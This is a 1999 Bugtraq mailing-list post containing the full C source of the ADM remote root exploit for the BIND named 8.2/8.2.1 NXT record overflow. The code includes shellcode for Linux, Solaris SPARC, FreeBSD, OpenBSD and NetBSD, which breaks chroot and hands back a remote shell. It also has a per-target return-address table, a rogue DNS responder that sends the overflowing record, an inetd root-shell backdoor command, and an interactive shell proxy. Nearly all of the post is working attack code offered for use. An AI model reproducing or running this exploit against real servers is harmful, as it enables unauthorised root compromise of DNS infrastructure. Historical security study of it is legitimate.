Subject: Re: CERT Advisory CA-99-14 Multiple Vulnerabilities in BIND
Date: Fri, 12 Nov 1999 10:43:21 +0100
From: Anonymous <nobody@REPLAY.COM>
Reply-To: Anonymous <nobody@REPLAY.COM>
To: BUGTRAQ@SECURITYFOCUS.COM

/*
 * ADM CONFIDENTIAL -- (ADM Confidential Restricted when
 * combined with the aggregated modules for this product)
 * OBJECT CODE ONLY SOURCE MATERIALS
 * (C) COPYRIGHT ADM Crew. 1999
 * All Rights Reserved
 *
 * This module may not be used, published, distributed or archived without
 * the written permission of the ADM Crew. Please contact your local sales
 * representative.
 *
 * ADM named 8.2/8.2.1 NXT remote overflow - horizon/plaguez
 *
 * "a misanthropic anthropoid with nothing to say"
 *
 * thanks to stran9er for sdnsofw.c
 *
 * Intel exploitation is pretty straightforward.. should give you a remote
 * shell. The shellcode will break chroot, do a getpeername on all open
 * sockets, and dup to the first one that returns AFINET. It also forks and
 * runs a command in case the fd duping doesn't go well.  Solaris/SPARC is a
 * bit more complicated.. we are going through a well trodden part of the
 * code, so we don't get the context switch we need to have it populate the
 * register windows from the stack. However, if you just hammer the service
 * with requests, you will quickly get a context switch at the right time.
 * Thus, the SPARC shellcode currently only breaks chroot, closes current
 * fd's and runs a command.
 * Also, the NetBSD shellcode doesn't break chroot because they stop the
 * dir tricks. Of course, they allow mknods in chrooted environments, so
 * if named is running as root, then it still might be expoitable.
 * The non-exec stack patch version returns into a malloc'ed buffer, whose
 * address can vary quite alot. Thus, it may not be as reliable as the other
 * versions..
 *
 * We broke this just a little in order to raise the bar on using it
 * (just slightly).. If you'd like to test it on your own box, put a shell
 * in /adm/sh, or /adm/ksh for solaris on the target machine.
 */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netdb.h>

char linuxcode[]=
 {0xe9,0xac,0x1,0x0,0x0,0x5e,0x89,0x76,0xc,0x8d,0x46,0x8,0x89,0x46,0x10,0x8d,
  0x46,0x2e,0x89,0x46,0x14,0x56,0xeb,0x54,0x5e,0x89,0xf3,0xb9,0x0,0x0,0x0,0x0,
  0xba,0x0,0x0,0x0,0x0,0xb8,0x5,0x0,0x0,0x0,0xcd,0x80,0x50,0x8d,0x5e,0x2,0xb9,
  0xff,0x1,0x0,0x0,0xb8,0x27,0x0,0x0,0x0,0xcd,0x80,0x8d,0x5e,0x2,0xb8,0x3d,0x0,
  0x0,0x0,0xcd,0x80,0x5b,0x53,0xb8,0x85,0x0,0x0,0x0,0xcd,0x80,0x5b,0xb8,0x6,
  0x0,0x0,0x0,0xcd,0x80,0x8d,0x5e,0xb,0xb8,0xc,0x0,0x0,0x0,0xcd,0x80,0x89,0xf3,
  0xb8,0x3d,0x0,0x0,0x0,0xcd,0x80,0xeb,0x2c,0xe8,0xa7,0xff,0xff,0xff,0x2e,0x0,
  0x41,0x44,0x4d,0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
  0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
  0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x0,0x5e,0xb8,0x2,0x0,0x0,0x0,0xcd,0x80,0x89,
  0xc0,0x85,0xc0,0xf,0x85,0x8e,0x0,0x0,0x0,0x89,0xf3,0x8d,0x4e,0xc,0x8d,0x56,
  0x18,0xb8,0xb,0x0,0x0,0x0,0xcd,0x80,0xb8,0x1,0x0,0x0,0x0,0xcd,0x80,0xe8,0x75,
  0x0,0x0,0x0,0x10,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x74,0x68,0x69,0x73,0x69,0x73,
  0x73,0x6f,0x6d,0x65,0x74,0x65,0x6d,0x70,0x73,0x70,0x61,0x63,0x65,0x66,0x6f,
  0x72,0x74,0x68,0x65,0x73,0x6f,0x63,0x6b,0x69,0x6e,0x61,0x64,0x64,0x72,0x69,
  0x6e,0x79,0x65,0x61,0x68,0x79,0x65,0x61,0x68,0x69,0x6b,0x6e,0x6f,0x77,0x74,
  0x68,0x69,0x73,0x69,0x73,0x6c,0x61,0x6d,0x65,0x62,0x75,0x74,0x61,0x6e,0x79,
  0x77,0x61,0x79,0x77,0x68,0x6f,0x63,0x61,0x72,0x65,0x73,0x68,0x6f,0x72,0x69,
  0x7a,0x6f,0x6e,0x67,0x6f,0x74,0x69,0x74,0x77,0x6f,0x72,0x6b,0x69,0x6e,0x67,
  0x73,0x6f,0x61,0x6c,0x6c,0x69,0x73,0x63,0x6f,0x6f,0x6c,0xeb,0x86,0x5e,0x56,
  0x8d,0x46,0x8,0x50,0x8b,0x46,0x4,0x50,0xff,0x46,0x4,0x89,0xe1,0xbb,0x7,0x0,
  0x0,0x0,0xb8,0x66,0x0,0x0,0x0,0xcd,0x80,0x83,0xc4,0xc,0x89,0xc0,0x85,0xc0,
  0x75,0xda,0x66,0x83,0x7e,0x8,0x2,0x75,0xd3,0x8b,0x56,0x4,0x4a,0x52,0x89,0xd3,
  0xb9,0x0,0x0,0x0,0x0,0xb8,0x3f,0x0,0x0,0x0,0xcd,0x80,0x5a,0x52,0x89,0xd3,
  0xb9,0x1,0x0,0x0,0x0,0xb8,0x3f,0x0,0x0,0x0,0xcd,0x80,0x5a,0x52,0x89,0xd3,
  0xb9,0x2,0x0,0x0,0x0,0xb8,0x3f,0x0,0x0,0x0,0xcd,0x80,0xeb,0x12,0x5e,0x46,
  0x46,0x46,0x46,0x46,0xc7,0x46,0x10,0x0,0x0,0x0,0x0,0xe9,0xfe,0xfe,0xff,0xff,
  0xe8,0xe9,0xff,0xff,0xff,0xe8,0x4f,0xfe,0xff,0xff,0x2f,0x61,0x64,0x6d,0x2f,
  0x73,0x68,0x0,0x2d,0x63,0x0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
  0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,0x70,0x6c,0x61,0x67,0x75,0x65,0x7a,0x5b,
  0x41,0x44,0x4d,0x5d,0x31,0x30,0x2f,0x39,0x39,0x2d};

char sc[]=
 {0x40,0x0,0x0,0x2e,0x1,0x0,0x0,0x0,0x90,0x3,0xe0,0xd5,0x92,0x10,0x20,0x0,
  0x82,0x10,0x20,0x5,0x91,0xd0,0x20,0x0,0xa0,0x10,0x0,0x8,0x90,0x3,0xe0,0xcc,
  0x92,0x10,0x21,0xff,0x82,0x10,0x20,0x50,0x91,0xd0,0x20,0x0,0x90,0x3,0xe0,
  0xcc,0x82,0x10,0x20,0x3d,0x91,0xd0,0x20,0x0,0x90,0x10,0x0,0x10,0x82,0x10,
  0x20,0x78,0x91,0xd0,0x20,0x0,0x90,0x10,0x0,0x10,0x82,0x10,0x20,0x6,0x91,0xd0,
  0x20,0x0,0x90,0x3,0xe0,0xd7,0x82,0x10,0x20,0xc,0x91,0xd0,0x20,0x0,0x90,0x3,
  0xe0,0xd5,0x82,0x10,0x20,0x3d,0x91,0xd0,0x20,0x0,0xa0,0x10,0x20,0x0,0x90,
  0x10,0x0,0x10,0x82,0x10,0x20,0x6,0x91,0xd0,0x20,0x0,0xa0,0x4,0x20,0x1,0x80,
  0xa4,0x20,0x1e,0x4,0xbf,0xff,0xfb,0x1,0x0,0x0,0x0,0x90,0x3,0xe0,0xc0,0xa0,
  0x3,0xe0,0xc5,0xe0,0x23,0xbf,0xf0,0xa0,0x3,0xe0,0xc9,0xe0,0x23,0xbf,0xf4,
  0xa0,0x3,0xe1,0x5,0xe0,0x23,0xbf,0xf8,0xc0,0x23,0xbf,0xfc,0x92,0x3,0xbf,0xf0,
  0x94,0x3,0xbf,0xfc,0x82,0x10,0x20,0x3b,0x91,0xd0,0x20,0x0,0x81,0xc3,0xe0,0x8,
  0x1,0x0,0x0,0x0,0x2f,0x61,0x64,0x6d,0x2f,0x6b,0x73,0x68,0x0,0x2d,0x63,0x0,
  0x41,0x44,0x4d,0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x0,0x2e,0x2e,0x2f,0x2e,
  0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,
  0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x0,0x68,0x6f,0x72,0x69,0x7a,0x6f,
  0x6e,0x5b,0x41,0x44,0x4d,0x5d,0x31,0x30,0x2f,0x39,0x39,0x0};

char bsdcode[]=
 {0xe9,0xd4,0x1,0x0,0x0,0x5e,0x31,0xc0,0x50,0x50,0xb0,0x17,0xcd,0x80,0x31,0xc0,
  0x50,0x50,0x56,0x50,0xb0,0x5,0xcd,0x80,0x89,0x46,0x28,0xb9,0xff,0x1,0x0,0x0,
  0x51,0x8d,0x46,0x2,0x50,0x50,0xb8,0x88,0x0,0x0,0x0,0xcd,0x80,0x8d,0x46,0x2,
  0x50,0x50,0xb8,0x3d,0x0,0x0,0x0,0xcd,0x80,0x8b,0x46,0x28,0x50,0x50,0xb8,0xa7,
  0x0,0x0,0x0,0x34,0xaa,0xcd,0x80,0x8d,0x46,0xb,0x50,0x50,0xb8,0xa6,0x0,0x0,
  0x0,0x34,0xaa,0xcd,0x80,0x8d,0x46,0x21,0x48,0x50,0x50,0xb8,0x3d,0x0,0x0,0x0,
  0xcd,0x80,0x50,0xb8,0x2,0x0,0x0,0x0,0xcd,0x80,0x85,0xc0,0xf,0x85,0xe6,0x0,
  0x0,0x0,0x8d,0x56,0x38,0x89,0x56,0x28,0x8d,0x46,0x40,0x89,0x46,0x2c,0x8d,
  0x46,0x43,0x89,0x46,0x30,0x8d,0x46,0x30,0x50,0x8d,0x46,0x28,0x50,0x52,0x50,
  0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0x50,0x50,0xb8,0x1,0x0,0x0,0x0,0xcd,0x80,
  0xe8,0xbc,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x62,0x6c,0x61,0x68,
  0x62,0x6c,0x61,0x68,0x73,0x61,0x6d,0x65,0x74,0x68,0x69,0x6e,0x67,0x79,0x65,
  0x74,0x61,0x6e,0x6f,0x74,0x68,0x65,0x72,0x73,0x70,0x61,0x63,0x65,0x66,0x6f,
  0x72,0x61,0x73,0x6f,0x63,0x6b,0x61,0x64,0x64,0x72,0x73,0x74,0x72,0x75,0x63,
  0x74,0x75,0x72,0x65,0x62,0x75,0x74,0x74,0x68,0x69,0x73,0x74,0x69,0x6d,0x65,
  0x66,0x6f,0x72,0x74,0x68,0x65,0x62,0x73,0x64,0x73,0x68,0x65,0x6c,0x6c,0x63,
  0x6f,0x64,0x65,0x66,0x6f,0x72,0x74,0x75,0x6e,0x61,0x74,0x6c,0x79,0x74,0x68,
  0x69,0x73,0x77,0x69,0x6c,0x6c,0x77,0x6f,0x72,0x6b,0x69,0x68,0x6f,0x70,0x65,
  0x6f,0x6b,0x69,0x74,0x68,0x69,0x6e,0x6b,0x65,0x6e,0x6f,0x75,0x67,0x68,0x73,
  0x70,0x61,0x63,0x65,0x6e,0x6f,0x77,0x0,0x70,0x6c,0x61,0x67,0x75,0x65,0x7a,
  0x5b,0x41,0x44,0x4d,0x5d,0x20,0x42,0x53,0x44,0x20,0x63,0x72,0x61,0x70,0x70,
  0x79,0x20,0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x20,0x2d,0x20,0x31,
  0x30,0x2f,0x39,0x39,0x31,0xd2,0xe9,0x3f,0xff,0xff,0xff,0x8d,0x46,0x4,0x50,
  0x8d,0x46,0x8,0x50,0x52,0x52,0xb8,0x1f,0x0,0x0,0x0,0xcd,0x80,0x5a,0x83,0xf8,
  0x0,0x75,0x6,0x80,0x7e,0x9,0x2,0x74,0xc,0x52,0x52,0xb8,0x6,0x0,0x0,0x0,0xcd,
  0x80,0x42,0xeb,0xd7,0x6a,0x0,0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0x6a,
  0x1,0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0x6a,0x2,0x52,0x52,0xb8,0x5a,
  0x0,0x0,0x0,0xcd,0x80,0xeb,0x29,0x5e,0x46,0x46,0x46,0x46,0x46,0x8d,0x56,0x38,
  0x89,0x56,0x28,0xc7,0x46,0x2c,0x0,0x0,0x0,0x0,0x8d,0x46,0x34,0x50,0x8d,0x46,
  0x28,0x50,0x52,0x52,0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0xe9,0xc1,0xfe,0xff,0xff,
  0xe8,0xd2,0xff,0xff,0xff,0xe8,0x27,0xfe,0xff,0xff,0x2e,0x0,0x41,0x44,0x4d,
  0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
  0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
  0x0,0x2e,0x2f,0x0,0x0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
  0xff,0x0,0x0,0x0,0x0,0x2f,0x61,0x64,0x6d,0x2f,0x73,0x68,0x0,0x2d,0x63,0x0,
  0x74,0x6f,0x75,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x59,0x4f,0x59,0x4f,
  0x59,0x4f,0x0};

char bsdnochroot[]=
 {0xe9,0x79,0x1,0x0,0x0,0x5e,0x50,0xb8,0x2,0x0,0x0,0x0,0xcd,0x80,0x85,0xc0,0xf,
  0x85,0xe6,0x0,0x0,0x0,0x8d,0x56,0x38,0x89,0x56,0x28,0x8d,0x46,0x40,0x89,0x46,
  0x2c,0x8d,0x46,0x43,0x89,0x46,0x30,0x8d,0x46,0x30,0x50,0x8d,0x46,0x28,0x50,
  0x52,0x50,0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0x50,0x50,0xb8,0x1,0x0,0x0,0x0,
  0xcd,0x80,0xe8,0xbc,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0x0,0x0,0x0,0x62,0x6c,
  0x61,0x68,0x62,0x6c,0x61,0x68,0x73,0x61,0x6d,0x65,0x74,0x68,0x69,0x6e,0x67,
  0x79,0x65,0x74,0x61,0x6e,0x6f,0x74,0x68,0x65,0x72,0x73,0x70,0x61,0x63,0x65,
  0x66,0x6f,0x72,0x61,0x73,0x6f,0x63,0x6b,0x61,0x64,0x64,0x72,0x73,0x74,0x72,
  0x75,0x63,0x74,0x75,0x72,0x65,0x62,0x75,0x74,0x74,0x68,0x69,0x73,0x74,0x69,
  0x6d,0x65,0x66,0x6f,0x72,0x74,0x68,0x65,0x62,0x73,0x64,0x73,0x68,0x65,0x6c,
  0x6c,0x63,0x6f,0x64,0x65,0x66,0x6f,0x72,0x74,0x75,0x6e,0x61,0x74,0x6c,0x79,
  0x74,0x68,0x69,0x73,0x77,0x69,0x6c,0x6c,0x77,0x6f,0x72,0x6b,0x69,0x68,0x6f,
  0x70,0x65,0x6f,0x6b,0x69,0x74,0x68,0x69,0x6e,0x6b,0x65,0x6e,0x6f,0x75,0x67,
  0x68,0x73,0x70,0x61,0x63,0x65,0x6e,0x6f,0x77,0x0,0x70,0x6c,0x61,0x67,0x75,
  0x65,0x7a,0x5b,0x41,0x44,0x4d,0x5d,0x20,0x42,0x53,0x44,0x20,0x63,0x72,0x61,
  0x70,0x70,0x79,0x20,0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x20,0x2d,
  0x20,0x31,0x30,0x2f,0x39,0x39,0x31,0xd2,0xe9,0x3f,0xff,0xff,0xff,0x5e,0x8d,
  0x46,0x4,0x50,0x8d,0x46,0x8,0x50,0x52,0x52,0xb8,0x1f,0x0,0x0,0x0,0xcd,0x80,
  0x5a,0x83,0xf8,0x0,0x75,0x6,0x80,0x7e,0x9,0x2,0x74,0xc,0x52,0x52,0xb8,0x6,
  0x0,0x0,0x0,0xcd,0x80,0x42,0xeb,0xd7,0x6a,0x0,0x52,0x52,0xb8,0x5a,0x0,0x0,
  0x0,0xcd,0x80,0x6a,0x1,0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0x6a,0x2,
  0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0xeb,0x29,0x5e,0x46,0x46,0x46,0x46,
  0x46,0x8d,0x56,0x38,0x89,0x56,0x28,0xc7,0x46,0x2c,0x0,0x0,0x0,0x0,0x8d,0x46,
  0x34,0x50,0x8d,0x46,0x28,0x50,0x52,0x52,0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0xe9,
  0xc0,0xfe,0xff,0xff,0xe8,0xd2,0xff,0xff,0xff,0xe8,0x82,0xfe,0xff,0xff,0x2e,
  0x0,0x41,0x44,0x4d,0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x2e,0x2f,0x2e,0x2e,
  0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,
  0x2f,0x2e,0x2e,0x2f,0x0,0x2e,0x2f,0x0,0x0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
  0xff,0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,0x2f,0x61,0x64,0x6d,0x2f,0x73,0x68,
  0x0,0x2d,0x63,0x0,0x74,0x6f,0x75,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,
  0x59,0x4f,0x59,0x4f,0x59,0x4f,0x0};

struct arch
{
  int id;
  char *name;
  char *code;
  int codesize;
  unsigned long safe;
  unsigned long ret;
  int length;
};

struct arch archlist[] =
{
  {1, "Linux Redhat 6.x    - named 8.2/8.2.1 (from rpm)", linuxcode,
      sizeof(linuxcode), 0, 0xbfffd6c3, 6500},
  {2, "Linux SolarDiz's non-exec stack patch - named 8.2/8.2.1",linuxcode,
      sizeof(linuxcode), 0, 0x80f79ae, 6500},
  {3, "Solaris 7 (0xff)    - named 8.2.1", sc, sizeof(sc), 0xffbea738,
      0xffbedbd0, 11000},
  {4, "Solaris 2.6         - named 8.2.1", sc, sizeof(sc), 0xefffa000,
      0xefffe5d0, 11000},
  {5, "FreeBSD 3.2-RELEASE - named 8.2", bsdcode, sizeof(bsdcode), 1,
       0xbfbfbdb8, 7000},
  {6, "OpenBSD 2.5         - named 8.2", bsdcode, sizeof(bsdcode), 1,
       0xefbfbb00, 7000},
  {7, "NetBSD 1.4.1        - named 8.2.1", bsdnochroot, sizeof(bsdnochroot), 1,
       0xefbfbb00, 7000},
  {0, 0, 0, 0}
};

int arch=0;
char *command=0;

/* these two dns routines from dspoof/jizz */

/* pull out a compressed query name */
char *dnssprintflabel(char *s, char *buf, char *p)
{
  unsigned short i,len;
  char *b=NULL;

  len=(unsigned short)*(p++);
  while (len) {
    while (len >= 0xC0) {
      if (!b)
        b=p+1;
      p=buf+(ntohs(*((unsigned short *)(p-1))) & ~0xC000);
      len=(unsigned short)*(p++);
    }

    for (i=0;i<len;i++)
      *(s++)=*(p++);

    *(s++)='.';

    len=(unsigned short)*(p++);
  }

  *(s++)=0;
  if (b)
    return(b);

  return(p);
}

/* store a query name */
char *dnsaddlabel(char *p, char *label)
{
  char *p1;

  while ((*label) && (label)) {
    if ((*label == '.') && (!*(label+1)))
      break;

    p1=strchr(label,'.');

    if (!p1)
      p1=strchr(label,0);

    *(p++)=p1-label;
    memcpy(p,label,p1-label);
    p+=p1-label;

    label=p1;
    if (*p1)
      label++;
  }
  *(p++)=0;

  return(p);
}

void make_overflow(char *a)
{
  int i;
  unsigned long *b;
  unsigned char *c;
  char sbuf[4096];

  if (archlist[arch].safe==0) /* linux */
  {
    memset(a,0x90,4134);
    memcpy(a+3500,archlist[arch].code,archlist[arch].codesize);

    if (command)
      strcpy(a+3500+archlist[arch].codesize, command);
    else
      strcpy(a+3500+archlist[arch].codesize, "exit");

    b=(unsigned long*)(a+4134);
    for (i=0;i<20;i++)
      *b++=archlist[arch].ret;
  }
  else if (archlist[arch].safe==1) /* bsd */
  {
    memset(a,0x90,4134);
    memcpy(a+3300,archlist[arch].code,archlist[arch].codesize);

    if (command)
      strcpy(a+3300+archlist[arch].codesize, command);
    else
      strcpy(a+3300+archlist[arch].codesize, "exit");

    b=(unsigned long*)(a+4134);
    for (i=0;i<20;i++)
      *b++=archlist[arch].ret;
  }
  else /*SPARC*/
  {
    memset(a,0x0,11000);

    b=(unsigned long*)(a+4438);

    for (i=0;i<1500;i++)
      *b++=htonl(0xac15a16e);

    c=(char *)b;

    for (i=0;i<archlist[arch].codesize;i++)
      *c++=archlist[arch].code[i];
    if (command)
      strcpy(c, command);
    else
      strcpy(c, "echo \"ingreslock stream tcp nowait root /bin/sh sh -i\" \
>>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob;/bin/rm -f /tmp/bob ");

    b=(unsigned long*)(a+4166);

    *b++=htonl(0xdeadbeef);
    *b++=htonl(0xdeadbeef);
    *b++=htonl(archlist[arch].safe);       //i2 - significant
    *b++=htonl(0xdeadbeef);
    *b++=htonl(0xdeadbeef);
    *b++=htonl(archlist[arch].safe);       //i5 - significant
    *b++=htonl(0xdeadbeef);
    *b++=htonl(0xdeadbeef);

    *b++=htonl(archlist[arch].safe);       //o0 - significant
    *b++=htonl(0xdeadbeef);
    *b++=htonl(archlist[arch].safe);       //o2 - significant
    *b++=htonl(0xdeadbeef);
    *b++=htonl(0xdeadbeef);
    *b++=htonl(0xdeadbeef);
    *b++=htonl(archlist[arch].safe);       //o6 - significant
    *b++=htonl(archlist[arch].ret);        //o7 - retaddr
  }
}

int form_response(HEADER *packet, char *buf)
{
  char query[512];
  int qtype;
  HEADER *dnsh;
  char *p;
  char *walker;

  memset(buf,0,sizeof(buf));

  dnsh = (HEADER *) buf;
  dnsh->id = packet->id;
  dnsh->qr=1;
  dnsh->aa=1;
  dnsh->qdcount = htons(1);
  dnsh->ancount = htons(1);
  dnsh->arcount = htons(1);
  dnsh->rcode = 0;

  walker=(char*)(dnsh+1);

  p=dnssprintflabel(query, (char *)packet, (char*)(packet+1));
  query[strlen(query) - 1] = 0;

  qtype=*((unsigned short *)p);

  printf("%s type=%d\n",query, ntohs(qtype));

  /* first, the query */

  walker=dnsaddlabel(walker, query);
  PUTSHORT(ntohs(qtype), walker);
  //PUTSHORT(htons(T_PTR), walker);
  PUTSHORT(1,walker);

  /* then, our answer */
  /* query IN A 1.2.3.4 */

  walker=dnsaddlabel(walker, query);
  PUTSHORT(T_A, walker);
  PUTSHORT(1, walker);
  PUTLONG(60*5, walker);
  PUTSHORT(4, walker);
  sprintf(walker,"%c%c%c%c",1,2,3,4);
  walker+=4;

  /* finally, we make named do something more interesting */

  walker=dnsaddlabel(walker, query);
  PUTSHORT(T_NXT, walker);
  PUTSHORT(1, walker);
  PUTLONG(60*5, walker);

  /* the length of one label and our arbitrary data */

  PUTSHORT(archlist[arch].length+7, walker);

  PUTSHORT(6, walker);
  sprintf(walker,"admadm");
  walker+=6;
  PUTSHORT(0, walker);

  make_overflow(walker);
  walker+=archlist[arch].length;
  PUTSHORT(0, walker);
  return walker-buf;
}

#define max(x,y) ((x)>(y)?(x):(y))

int proxyloop(int s)
{
  char snd[1024], rcv[1024];
  fd_set rset;
  int maxfd, n;

  sleep(1);
  printf("Entering proxyloop..\n");
  strcpy(snd, "cd /; uname -a; pwd; id;\n");
  write(s, snd, strlen(snd));

  for (;;)
  {
    FD_SET(fileno(stdin), &rset);
    FD_SET(s, &rset);
    maxfd = max(fileno(stdin), s) + 1;
    select(maxfd, &rset, NULL, NULL, NULL);
    if (FD_ISSET(fileno(stdin), &rset))
    {
      bzero(snd, sizeof(snd));
      fgets(snd, sizeof(snd) - 2, stdin);
      write(s, snd, strlen(snd));
    }
    if (FD_ISSET(s, &rset))
    {
      bzero(rcv, sizeof(rcv));
      if ((n = read(s, rcv, sizeof(rcv))) == 0)
                        exit(0);
      if (n < 0)
      {
        return -3;
      }
      fputs(rcv, stdout);
    }
  }
  return 0;
}

int main(int argc, char **argv)
{
  int s, fromlen, res, sl, s2;
  struct sockaddr_in sa, from, to;
  char buf[16384];
  char sendbuf[16384];
  unsigned short ts;
  int i;

  if (argc<2)
  {
    fprintf(stderr,"Usage: %s architecture [command]\n", argv[0]);
    fprintf(stderr,"Available architectures:\n");
    i=-1;
    while(archlist[++i].id)
      fprintf(stderr,"  %d: %s\n",archlist[i].id,archlist[i].name);
    exit(1);
  }

  arch=atoi(argv[1])-1;

  if (argc==3)
    command=argv[2];

  if ((s=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))==-1)
  {
    perror("socket");
    exit(1);
  }

  bzero(&sa, sizeof sa);

  sa.sin_family=AF_INET;
  sa.sin_addr.s_addr=INADDR_ANY;
  sa.sin_port=htons(53);

  if (bind(s, (struct sockaddr *)&sa, sizeof(sa))==-1)
  {
    perror("bind");
    exit(1);
  }

  do
  {
    fromlen=sizeof(from);
    if ((res=recvfrom(s, buf, sizeof buf, 0, (struct sockaddr *)&from,
                      &fromlen)) == -1)
    {
      perror("recvfrom");
      exit(1);
    }

    printf("Received request from %s:%d for ", inet_ntoa(from.sin_addr),
           ntohs(from.sin_port));

    sl=form_response((HEADER *)buf,sendbuf);

    /* now lets connect to the nameserver */

    bzero(&to, sizeof(to));
    to.sin_family=AF_INET;
    to.sin_addr=from.sin_addr;
    to.sin_port=htons(53);

    if ((s2=socket(AF_INET, SOCK_STREAM, 0))==-1)
    {
      perror("socket");
      exit(1);
    }

    if (connect(s2, (struct sockaddr *)&to, sizeof to)==-1)
    {
      perror("connect");
      exit(1);
    }

    ts=htons(sl);
    write(s2,&ts,2);

    write(s2,sendbuf,sl);
    if (archlist[arch].safe>1)
      close(s2);
  } while (archlist[arch].safe>1); /* infinite loop for sparc */
  proxyloop(s2);
  exit(1);
}
